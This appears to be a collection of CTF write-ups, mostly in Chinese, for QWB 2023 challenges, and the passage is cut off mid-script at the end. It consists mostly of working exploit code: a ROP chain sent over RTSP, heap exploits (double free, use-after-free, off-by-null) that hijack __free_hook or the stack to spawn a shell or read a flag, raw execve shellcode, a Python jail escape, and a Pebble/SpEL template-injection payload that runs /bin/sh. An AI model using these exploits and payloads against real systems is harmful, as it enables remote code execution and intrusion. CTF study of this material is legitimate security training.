#codebase = rl("0\n'")
print(baseaddr)

s(b'SET_PARAMETER rtsp://192.168.127.133:8554/* RTSP/1.0\r\nDESCRIBE_FLAG: qwb\r\nCSeq: 2\r\nUser-Agent: fuck\r\n\r\n')

pop_rdi_ret = 0x000000000007b133+baseaddr 
pop_rsi_ret=0x0000000000099fb0+baseaddr 
pop_rdx_ret=0x0000000000019eaa+baseaddr 
pop_rax_ret = 0x0000000000035e4a+baseaddr
syscall = 0x0000000000019eac+baseaddr

flag = baseaddr+0x7B3E5
#rop =pop_rax_ret+ p6(59)+ pop_rdi_ret + bin_sh + pop_rsi_ret + p64(0) + pop_rdx_ret + p64(0) + syscall_ret

rop=p64(pop_rdi_ret)+p64(flag)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall) #open
rop+=p64(pop_rdi_ret)+p64(6)+p64(pop_rsi_ret)+p64(baseaddr+0x2A9990)+p64(pop_rdx_ret)+p64(0x60)+p64(pop_rax_ret)+p64(0)+p64(syscall)
rop+=p64(pop_rdi_ret)+p64(5)+p64(pop_rsi_ret)+p64(baseaddr+0x2A9990)+p64(pop_rdx_ret)+p64(0x60)+p64(pop_rax_ret)+p64(1)+p64(syscall)

s(b'DESCRIBE rtsp://192.168.127.133:8554/' +b"a"*198+b"/"+b"a"*198+ b' RTSP/1.0\r\nvul_string:' + b'\xa7' *13 + rop + b'\r\nCSeq: 2\r\nUser-Agent: fuck\r\n\r\n')
data=r()
print(data)
irt()

wtoa

read(a1, a1, 0LL, (v20 - 48), 31LL);
    input_len = strtol(a1, a1, v20 - 48);
    *(v5 + v4 + 36) = input_len;
    if ( input_len == 3428913 )  // 重点
    {
      if ( *(v5 + 4016) == 1 )
      {
        v14 = *(v5 + v4 + 44);
        *(v5 + v4 + 4) = *(v5 + v4 + 40);
        *(v5 + v4) = v14;
        wasm_0_::function_51_(a1, a1, 1246, v20 - 96);
        input_internal(a1, a1, *(v19 + 40) + *(v5 + *(v5 + (*(v5 + *(v19 + 92) + 4) + 4 * *(v5 + v4 + 44)))), 0x30);
        *(v5 + 4016) = 0;
        goto LABEL_15;
      }
      v13 = v5 + v4;
    }
    else

edit时,当输入的length为3428913的时候,可以向下写0x30大小,从而可以溢出下一个堆块。堆风水构造溢出下一个堆块的data_ptr指针指向堆上的flag,然后Show即可

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal=['tmux', 'splitw', '-h']
prog = './wasmtime'
debug_ = 0
if debug_ == 1:
        p = process([prog, "run" ,"--env" ,"FLAG=\"now4yreal\"" ,"--disable-cache" ,"--allow-precompiled" ,"./wtoa"])#,env={"LD_PRELOAD":"./libc-2.27.so"})
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
        p = remote("47.100.169.26", 20231)
        # libc = ELF("./libc.so.6")
def debug(addr,PIE=True): 
        debug_str = ""
        if debug_ == 0:
                return 0
        if PIE:
                text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
                for i in addr:
                        debug_str+='b *{}\n'.format(hex(text_base+i))
                gdb.attach(p,debug_str) 
        else:
                for i in addr:
                        debug_str+='b *{}\n'.format(hex(i))
                gdb.attach(p,debug_str) 

def dbg():
        gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
lbc = lambda :p.recvuntil('\x7f')[-6:].ljust(8, '\x00')
    
def dbgc(addr):
        gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def add(size, con):
    sla("Choice > ", "A")
    sla("> ", size)
    sa("> ", con)
def edit(idx, off, length, con):
    sla("Choice > ", "E")
    sla("> ", idx)
    sla("> ", off)
    sla("> ", length)
    sa("> ", con)
def dele(idx):
    sla("Choice > ", "D")
    sla("> ", idx)
def show(idx, off, length):
    sla("Choice > ", "S")
    sla("> ", idx)
    sla("> ", off)
    sla("> ", length)

def ei():
    sla("Choice > ", "x")

def exp():

    debug([])
    add(12, "a" * 12)
    add(12, "b" * 12)

    edit(0, 0, 3428913, "a" * 0xc + p32(0x13) + p32(0x00501ca8) \
     + p32(0x00501ce0) + p32(0) + p32(0x1b) + p32(0x00501c68) \
     + p32(0) + p32(0x30)+ p32(0))

    show(1, 0, 0x30)
    it()
if __name__ == '__main__':
        exp()

chatting

首先利用删除用户后message指针还存在泄露地址,然后利用message发送信息给不存在的用户可以构造double free,最后fastbin attack

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
from PwnContext import *

context.terminal = ['tmux', 'splitw', '-h', '-p70']
#-----function for quick script-----#
s       = lambda data               :ctx.send(data)    
sa      = lambda delim,data         :ctx.sendafter(delim, data) 
sl      = lambda data               :ctx.sendline(data) 
sla     = lambda delim,data         :ctx.sendlineafter(delim, data)
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
irt     = lambda                    :ctx.interactive()

lg      = lambda s                  :log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
getLeak = lambda                    :uu64(ru(b'\x7f',drop=False)[-6:])

debugg = 0
logg = 1

ctx.binary = './chatting'

ctx.custom_lib_dir = '/home/kirito/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/'#remote libc
ctx.debug_remote_libc = True

ctx.symbols = {'note':0x211280}
#ctx.breakpoints = [0x211280]
#ctx.debug()

if debugg:
    rs()
    #rs("gdb",gdbscript="set follow-fork-mode child\nb *$rebase(0x1ea4)")
else:
    ctx.remote = ('101.200.122.251', 14509)
    rs(method = 'remote')

if logg:
    context.log_level = 'debug'

def add(name):
    sla(b'exit): ',b'add')
    sla(b'username: ',name)
def delete(name):
    sla(b'exit): ',b'delete')
    sla(b'delete: ',name)
def switch(name):
    sla(b'exit): ',b'switch')
    sla(b'to: ',name)
def message(name,size,content):
    sla(b'exit): ',b'message')
    sla(b'To: ',name)
    sla(b'size: ',str(size).encode())
    sa(b'Content: ',content)
def read():
    sla(b'exit): ',b'read')
def listuser():
    sla(b'exit): ',b'listuser')

sla(b'username: ',b'000')
add(b'111')
add(b'222')
add(b'333')
add(b'444')
add(b'555')
add(b'666')
add(b'777')
add(b'1111')
add(b'1414')
add(b'1616')
add(b'1818')
add(b'2020')
add(b'2222')
add(b'2424')

switch(b'000')
for i in range(8):
    message(b'000',0x200,b'C'*0x200)
switch(b'111')
message(b'222',0x200,b'C'*0x200)
switch(b'000')
delete(b'000')
read()
ru(b'000: ')
ru(b'000: ')
heap = u64(r(6).ljust(8,b'\x00'))
heap_base = heap - 0x2ffb0
libc_base = getLeak() - 0x3ebca0

switch(b'444')
for i in range(7):
    message(b'444',0x60,b'C'*0x60)
message(b'888',0x60,b'C'*0x60)
message(b'888',0x60,b'C'*0x60)

message(b'999',0x60,b'C'*0x60)
message(b'999',0x60,b'C'*0x60)

message(b'1010',0x60,b'C'*0x60)
message(b'1010',0x60,b'C'*0x60)
add(b'444')

message(b'888',0x60,b'C'*0x60)
message(b'666',0x60,b'6'*0x60)
add(b'888')

message(b'999',0x60,b'C'*0x60)
message(b'777',0x60,b'7'*0x60)
add(b'999')

message(b'1010',0x60,b'C'*0x60)
message(b'1111',0x60,b'd'*0x60)
add(b'1010')

for i in range(7):
    message(b'444',0x60,b'C'*0x60)
message(b'1313',0x60,b'C'*0x60)
message(b'1313',0x60,b'C'*0x60)

message(b'1515',0x60,b'C'*0x60)
message(b'1515',0x60,b'C'*0x60)

message(b'1717',0x60,b'C'*0x60)
message(b'1717',0x60,b'C'*0x60)
add(b'444')

message(b'1313',0x60,b'C'*0x60)
message(b'1414',0x60,b'7'*0x60)
add(b'1313')

message(b'1515',0x60,b'C'*0x60)
message(b'1616',0x60,b'7'*0x60)
add(b'1515')

message(b'1717',0x60,b'C'*0x60)
message(b'1818',0x60,b'7'*0x60)
add(b'1717')

for i in range(7):
    message(b'444',0x60,b'C'*0x60)
message(b'1919',0x60,b'C'*0x60)
message(b'1919',0x60,b'C'*0x60)

message(b'2121',0x60,b'C'*0x60)
message(b'2121',0x60,b'C'*0x60)

message(b'2323',0x60,b'C'*0x60)
message(b'2323',0x60,b'C'*0x60)
add(b'444')

message(b'1919',0x60,b'C'*0x60)
message(b'2020',0x60,b'7'*0x60)
add(b'1919')

message(b'2121',0x60,b'C'*0x60)
message(b'2222',0x60,b'7'*0x60)
add(b'2121')

message(b'2323',0x60,b'C'*0x60)
message(b'2424',0x60,b'7'*0x60)
add(b'2323')

delete(b'1616')
delete(b'777')
delete(b'2020')

for i in range(7):
    message(b'333',0x60,b'C'*0x60)

libc = ELF('./libc-2.27.so')
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
message(b'333',0x60,p64(free_hook-0x10))
message(b'333',0x60,b'C'*0x60)
message(b'333',0x60,b'C'*0x60)
message(b'333',0x60,b'/bin/sh\x00'+p64(0)+p64(system))
delete(b'333')
#ctx.debug(gdbscript="init 0")

lg('heap_base')
lg('libc_base')
irt()

simpleinterpreter

直接写uaf的c代码即可

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
from PwnContext import *

context.terminal = ['tmux', 'splitw', '-h', '-p70']
#-----function for quick script-----#
s       = lambda data               :ctx.send(data)    
sa      = lambda delim,data         :ctx.sendafter(delim, data) 
sl      = lambda data               :ctx.sendline(data) 
sla     = lambda delim,data         :ctx.sendlineafter(delim, data)
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
irt     = lambda                    :ctx.interactive()

lg      = lambda s                  :log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
getLeak = lambda                    :uu64(ru(b'\x7f',drop=False)[-6:])

debugg = 0
logg = 1

ctx.binary = './simpleinterpreter'

ctx.custom_lib_dir = '/home/kirito/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/'#remote libc
ctx.debug_remote_libc = True

ctx.symbols = {'note':0x205088}
ctx.breakpoints = [0x3504,0x3425]
#ctx.debug()

if debugg:
    rs()
    #rs("gdb",gdbscript="set follow-fork-mode child\nb *$rebase(0x1ea4)")
else:
    ctx.remote = ('101.200.122.251', 13410)
    rs(method = 'remote')

if logg:
    context.log_level = 'debug'

# ctx.debug()
# input()

code = rb'''
void main(){
    char * buf;
    int point;
    buf = malloc(0x420);
    malloc(0x10);
    malloc(0x10);
    printf("hello!\n");
    free(buf);
    printf(buf);
    malloc(0x430);
    point = buf;
    point = point + 0x430;
    free(point);
    point = point + 0x20;
    free(point);
    read(0,point,8);
    malloc(0x10);
    buf = malloc(0x18);
    printf("end!");
    read(0,buf,10);
    malloc(0x10);
}
'''
sa(b'size: ',str(len(code)).encode())
sa(b'interpret: ',code)

libc_base = getLeak() - 0x3ebca0
lg('libc_base')
libc = ELF('./libc-2.27.so')
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym['system']
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + 0x4f302
lg('one')

s(p64(malloc_hook))
s(p64(one))
irt()

warmup23

题目是2.35的add功能存在off by null,开了沙箱,用mprotect改权限写orw的shellcode即可。
高版本的off by null参考模板构造堆块重叠:http://tttang.com/archive/1614/#toc__6
程序本身自带一个0x20大小的堆块,用模板的时候可以调控barrier堆块来不影响堆块布局。
20231219122456
根据模板构造出堆块重叠后,打法就多样了,一开始尝试打house of apple写orw失败了无果,猜测是高版本的链子有问题。
利用environ泄露栈地址来打栈,利用堆块重叠构造任意地址写,一次任意地址写打stdout利用environ泄露栈地址,再一次堆块重叠修改fd打tcache struct,然后打栈控制返回地址写orw即可。

#_*_coding:utf-8_*_
from pwn import *
from pwn import u64,u32,p64,p32
#from ae64 import AE64


context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF("./qwb2023/warmup23/warmup")

libc = ELF("./qwb2023/warmup23/libc.so.6")
local = 1
if local:
    p = process("./qwb2023/warmup23/warmup")
else:
    p = remote("120.24.69.11", 12700)#nc 120.24.69.11 12700


uu64     = lambda data                  :u64(data.ljust(8, b'\x00'))
leak     = lambda tag, mallocr             :log.info(tag + " -------------> " + hex(mallocr))
get_addr = lambda                       :u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(point):
    if point == 0:
        gdb.attach(p)
    else:
        gdb.attach(p,point)
r = lambda : p.recv()
rn = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
shell = lambda : p.interactive()
pr = lambda num=4096 :print(p.recv(num))

# from ctypes import *
# my_libc= cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")


def malloc(sz,c=b'k4n9'):
    sla(">> ","1")
    sla("Size: ",str(sz))
    sa("Note: ",c)
def show(idx):
    sla(">> ","2")
    sla("Index: ",str(idx))
def free(idx):
    sla(">> ","3")
    sla("Index: ",str(idx))


malloc(0x418) 
malloc(0xE8) 
malloc(0x438) 
malloc(0x438) 
malloc(0x108) 
malloc(0x488) 
malloc(0x428)
malloc(0x108) 
free(0)
free(3) 
free(6) 
free(2) 

malloc(0x458, b'a'*0x438 + b'Q\x05\x00\x00\x00\x00') 
malloc(0x418) 
malloc(0x428) 
malloc(0x418) 
free(6) 
free(2) 

malloc(0x418, b'a'*8)  
malloc(0x418)


free(6)
free(3)
free(5)

malloc(0x4f8, b'a'*0x490)
malloc(0x3b0)
malloc(0x418)

free(4)
malloc(0x108,b'a'*0x100 + p64(0x550))
free(3)

malloc(0x10)
show(6)
libc_base = get_addr() - 0x219ce0
leak("libc_base",libc_base)
ret = libc_base + 0x29139
rsi_ret = libc_base + 0x2be51
rdi_ret = libc_base + 0x2a3e5
rdx_ret = libc_base + 0x796a2
mprotect = libc_base + libc.sym['mprotect']

pause()

malloc(0x10)
free(8)
show(6)
ru(b'Note: ')
key = uu64(rn(5)) + 1
heap_base = (key << 12) - 0x1000
leak("heap_base",heap_base)
pause()
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['__environ']

free(7)
free(4)

malloc(0x500, b'a'*0x400 + p64((heap_base + 0x10) ^ key))
malloc(0x100)

payload = b'\x01\x00'*0x40 + p64(0)*0xe
payload += p64(stdout) + p64(heap_base + 0x10)
malloc(0x100, payload)

payload = p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ + 8)
malloc(0xf0, payload)
stack = get_addr()

payload = b'\x01\x00'*0x40 + p64(0)*0xe
payload += p64(stack - 0x148)
malloc(0x100, payload)

shellcode = asm(shellcraft.open('/flag') + shellcraft.read(3, stack + 0x200, 0x50) + shellcraft.write(1, stack + 0x200, 0x50))
payload = p64(0) + p64(rdi_ret) + p64((stack >> 12) << 12) + p64(rsi_ret) + p64(0x1000) + p64(rdx_ret) + p64(7) + p64(mprotect)
payload += p64(stack - 0x100) + shellcode

malloc(0xf0, payload)


while 1:
    print(rn(1024))

MISC

Wabby Wabbo Radio

qam16音频编码,给的网站查看源码能看到播放音频是访问了/play,不断刷新,发现有8个wav,里面有flag.wav,其余都是带有morse码的音频,根据hint给的DO YOU KNOW QAM? MAY BE FLAG IS PNG PICTURE

from scipy.io import wavfile
import math
import numpy as np

constellation = {
    0: (-3, -3),
    1: (-3, -1),
    2: (-3, 1),
    3: (-3,3),
    4: (-1, -3),
    5: (-1, -1),
    6: (-1, 1),
    7: (-1, 3),
    8: (1,-3),
    9: (1, -1),
    10: (1, 1),
    11: (1, 3),
    12: (3, -3),
    13: (3, -1),
    14: (3, 1),
    15: (3, 3)
}
def qam16_modulation(bits):
    symbols = []
    for i in range(0, len(bits), 4):
        index = int(bits[i:i+4], 2)
        symbols.append(constellation[index])
    return symbols
def qam16_demodulation(symbols):
    bits = ""
    for symbol in symbols:
        index = min(constellation, key=lambda x: np.abs(constellation[x][0] - symbol[0]) + np.abs(constellation[x][1] - symbol[1]))
        bits += format(index, '04b')
    return bits
  
samplerate, data = wavfile.read('./flag.wav')

tmp = 0
for i in range(len(data)):
        print(math.ceil(data[i][0]),math.ceil(data[i][1]))
        if i==50:
                break

x_y = [(e[0],e[1]) for e in data]

out = qam16_demodulation(x_y)

print(out)

easyfuzz

一开始10位逐位手注发现数据在输入9位数据的时候,会有异常:
20231219122626
尝试对9位数据的数字和大小写英文字符进行爆破:

#_*_coding:utf-8_*_
from pwn import *
from pwn import u64,u32,p64,p32
#from ae64 import AE64


# context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']


p = remote("101.200.122.251", 12199)#nc 101.200.122.251 12199


uu64     = lambda data                  :u64(data.ljust(8, b'\x00'))
leak     = lambda tag, addr             :log.info(tag + " -------------> " + hex(addr))
get_addr = lambda                       :u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(point):
    if point == 0:
        gdb.attach(p)
    else:
        gdb.attach(p,point)
r = lambda : p.recv()
rn = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
shell = lambda : p.interactive()

import itertools
import string

length = 9
charset = string.ascii_letters + string.digits
# 爆破函数
def brute_force(charset, length):
    for item in itertools.product(charset, repeat=length):
        # 将字符元组转换为字符串
        candidate = ''.join(item)
        sla("bytes): ",candidate)
        rl()
        data = rl()
        if b"try" in data: 
            print("no")
        else:
            print(data)
    return None
brute_force(charset,length)

shell()

最终爆破得到输入的字符串为:00qwbGood。

Happy Chess

题目是十字翻转棋,规则是成功10个round,每轮进行9次翻转。
一开始考虑用算法实现,在构思的时候想用exit退出终端,一不留神exit输入在了程序中,出现了奇怪的数据:
20231219122712
猜测有非预期,fuzz操作,一轮把9次机会用完后再输入exit:
20231219122738
发现该轮次出现了success,马上写一个脚本做完所有轮次,成功非预期:

#_*_coding:utf-8_*_
from pwn import *
from pwn import u64,u32,p64,p32
#from ae64 import AE64


# context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = remote("47.104.199.71", 10075)#nc 47.104.199.71 10075


uu64     = lambda data                  :u64(data.ljust(8, b'\x00'))
leak     = lambda tag, addr             :log.info(tag + " -------------> " + hex(addr))
get_addr = lambda                       :u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(point):
    if point == 0:
        gdb.attach(p)
    else:
        gdb.attach(p,point)
r = lambda : p.recv()
rn = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
shell = lambda : p.interactive()

# from ctypes import *
# my_libc= cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

sla("Team Token:\n","xxx")
for i in range(10):
    for i in range(9):
        cmd = "1 "+ str(i+1)
        sla("> ",cmd)
    sla("> ","exit")

shell()

Pyjail ! It’s myFILTER !!!

Can u input your code to escape > {[[]for[globals()["my_filter"]]in[[str]]]}{{\x69nput()}}
{[[]for[globals()["__builtins__"].len]in[[any]]]}{input()}
{print(__loader__.exec_module.__globals__["sys"].modules["os"].listdir("."))}
['flag_421309EA5D602AA68914EF650030D426ABEBB2F60E1DDE16DA48BE1C1FF4F736', 'server_8F6C72124774022B.py']

谍影重重2.0

航空ADS数据参考文档https://mode-s.org/decode/content/ads-b/1-basics.html

from scapy.all import *
packets = rdpcap('attach.pcapng')
tcp_packets = [packet[TCP].payload for packet in packets if packet.haslayer(TCP)]

t = []
for packet in tcp_packets:
    if b'1a33ffffffffffff' in bytes_hex(packet):
        ads = str(bytes_hex(packet))
        #print(ads)
        #print(len(ads))
        if ads[20:22]=='8d':
            ads = str(bytes_hex(packet))
            t.append(ads[20:])

out = list(set([e[2:8] for e in t]))
for i in out:
    print(i)
###结果只有三个##
#780c9c
#780999
#79a05e
#########
#flag是hashlib.md5(b'79A05E').digest().hex()

谍影重重3.0

打开流量包,就大小及流量通信分析而言,结构比较简单,短包222大小的肯定是请求数据,后续是间谍下载的任务文件,但加密了,需要知道使用的是哪一种“隧道”。仅仅只有一个请求包,不涉及密钥交换,猜测加密类型是AES之类,很多厂商都是这样,key在服务端那边有备份。根据提示“纸飞机也是飞机”,应该就是Shadowsocks。
查看开源项目https://github.com/shadowsocks/shadowsocks/tree/master
源代码,ShadoSocks默认采用AES-256-CFB模式加密,key的生成依赖用户设置的字符串密码,跟去年谍影重重一样,魔改该项目源代码,实现字典字符串密码爆破
参考博客https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#%E4%B8%8B%E8%BD%BD%E6%BA%90%E7%A0%81
20231219122909
修改该项目中cryptor.py文件,在合适的地方增加字典爆破。参考上述文档,发送加密数据包,实现爆破

    def decrypt(self, buf):
        file = open("words.txt","r")
               passwds = file.readlines()
        if len(buf) == 0:
            return buf
        if self.decipher is None:
                   for tmp in passwds:
                decipher_iv_len = self._method_info[METHOD_INFO_IV_LEN]
                decipher_iv = buf[:decipher_iv_len]
                self.decipher_iv = decipher_iv
                self.decipher = self.get_cipher(
                    tmp.strip().encode(), self.method,
                    CIPHER_ENC_DECRYPTION,
                    decipher_iv
                )
                res = self.decipher.decrypt(buf)
                print(res)
                if b"GET" in res or b"POST" in res:
                    print("the burp result is:",tmp.strip().encode())
                    print(res)
                
                    break
                
                buf = buf[decipher_iv_len:]
                tmp = file.readline().strip()
           
        return self.decipher.decrypt(buf)
#文件名是:Why-do-you-want-to-know-what-this-is
flag{MD5(Why-do-you-want-to-know-what-this-is)}

强网先锋

ezre

虽然被 ollvm 混淆了,但是调一下可以发现程序逻辑如下:

import base64

i = b"1" * 34

old = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
new = b"l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr"

n = base64.b64encode(i).translate(bytes.maketrans(old, new))

new = b"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8"
n = base64.b64decode(n.translate(bytes.maketrans(new, old)))

new = b"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA"
n = base64.b64encode(n).translate(bytes.maketrans(old, new))

new = b"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a"
n = base64.b64decode(n.translate(bytes.maketrans(new, old)))

new = b"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"
n = base64.b64encode(n).translate(bytes.maketrans(old, new))

tbl = bytes.fromhex("574B5F7F687D53464E7249426D6E4F4C1056747E624D63166C4A1E1348176173521215717640696B145164656F1F5D546608450C435E446077756A5070415511")
tbl = tbl[6:6+21]

n = list(n)
idx = 2023
chars = []
for i in range(len(n)-1):
    rem = i % 3
    if rem == 0:
        idx = (idx + 3) % 17
        char = tbl[idx + 3]
    elif rem == 1:
        idx = (idx + 5) % 20
        char = tbl[idx + 1]
    elif rem == 2:
        idx = (idx + 7) % 19
        char = tbl[idx + 2]
    chars.append(char)
    n[i] ^= char
    n[i+1] ^= n[i]

cipher = bytes(n)

解题脚本:

import base64

old = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
tbl = bytes.fromhex("574B5F7F687D53464E7249426D6E4F4C1056747E624D63166C4A1E1348176173521215717640696B145164656F1F5D546608450C435E446077756A5070415511")
tbl = tbl[6:6+21]

idx = 2023
chars = []
for i in range(48-1):
    rem = i % 3
    if rem == 0:
        idx = (idx + 3) % 17
        char = tbl[idx + 3]
    elif rem == 1:
        idx = (idx + 5) % 20
        char = tbl[idx + 1]
    elif rem == 2:
        idx = (idx + 7) % 19
        char = tbl[idx + 2]
    chars.append(char)

cipher = bytes.fromhex("3A2C4B516846596324045E5F000C2B03295C74706A627F3D2C4E6F13060D060C4D560F284D5176702B05516848552419")

c = list(cipher)
for i in range(48-2, -1, -1):
    c[i+1] ^= c[i]
    c[i] ^= chars[i]
c = bytes(c)

new = b"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"
n = base64.b64decode(c.translate(bytes.maketrans(new, old)))

new = b"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a"
n = base64.b64encode(n).translate(bytes.maketrans(old, new))

new = b"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA"
n = base64.b64decode(n.translate(bytes.maketrans(new, old)))

new = b"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8"
n = base64.b64encode(n).translate(bytes.maketrans(old, new))

new = b"l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr"
n = base64.b64decode(n.translate(bytes.maketrans(new, old)))
print(n)

Hello spring

{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance =  beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"cat /flag > /tmp/dem1.pebble\"}).start()").getValue()}}

Trie

溢出覆盖flag位置,每次打印四个字节出来

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
from PwnContext import *

context.terminal = ['tmux', 'splitw', '-h', '-p70']
#-----function for quick script-----#
s       = lambda data               :ctx.send(data)    
sa      = lambda delim,data         :ctx.sendafter(delim, data) 
sl      = lambda data               :ctx.sendline(data) 
sla     = lambda delim,data         :ctx.sendlineafter(delim, data)
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
irt     = lambda                    :ctx.interactive()

lg      = lambda s                  :log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
getLeak = lambda                    :uu64(ru(b'\x7f',drop=False)[-6:])

debugg = 0
logg = 1

ctx.binary = './trie'

#ctx.custom_lib_dir = '/home/kirito/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/'#remote libc
#ctx.debug_remote_libc = True

ctx.symbols = {'note':0x4060}
#ctx.breakpoints = [0x1234]
#ctx.debug()

if logg:
    context.log_level = 'debug'

def add(ip,hop):
    sla(b'flag!',b'1')
    sla(b'IP:',ip)
    sla(b'hop:',hop)
def show(ip):
    sla(b'flag!',b'2')
    sla(b'IP:',ip)
def getflag():
    sla(b'flag!',b'3')
def recvflag():
    global flag
    ru(b'hop is ')
    data = ru(b'\n').split(b'.')
    tmp = ''
    for i in data:
        tmp += chr(int(i))
    flag += tmp[::-1]
    info("flag = "+flag)

flag = ''
for tt in range(16):
    if debugg:
        rs()
        #rs("gdb",gdbscript="set follow-fork-mode child\nb *$rebase(0x1ea4)")
    else:
        ctx.remote = ('47.104.150.173', 1337)
